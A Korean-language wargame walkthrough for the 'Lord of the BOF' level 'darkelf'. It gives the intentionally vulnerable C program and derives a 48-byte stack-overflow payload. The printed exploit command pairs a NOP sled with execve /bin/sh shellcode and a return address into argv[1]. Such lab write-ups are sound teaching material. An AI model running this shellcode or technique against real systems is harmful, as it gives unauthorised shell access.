/*
The Lord of the BOF : The Fellowship of the BOF
- darkelf
- egghunter + buffer hunter + check length of argv[1]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
문제를 풀수록 조건이 늘어나는 느낌이 든다..
이번에는 argv[1] 길이 검사를 한다. 따라서 ret 뒤에 shellcode를 넣을 수 없다.
즉, payload를 48글자로 만들어야한다.
1. 환경변수 x
2. buffer 변수 초기화
3. 48번째 글자 /xbf
4. payload.length() <= 48
5. argv로 입력
argv[1] 에 shellcode를 넣고 ret에서 argv[1]으로 jmp 되어 shellcode가 실행되게 만들어 보자
payload = nop * 19 + shellcode(25) + argv[1] 주소(4) = 48
딱 48이라 길이 제한에 걸리지않는다.
argv[1] 주소를 구하자!
[그림 1-2]를 통해 break를 main+232에 걸고 edx 값을 확인해 보자
0xbffffc35 주소 안에 argv[1] 값이 들어가 있다.
payload 완성 후 exploit ㄱㄱ
./darkelf `python -c 'print("\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x35\xfc\xff\xbf")'`
성공!
다른 방법으로 굳이 argv[1]에 안넣고 argv[2] 위치를 알아내면 argv[2] 는 길이 제한이 없기 때문에 더 편할 수 있다.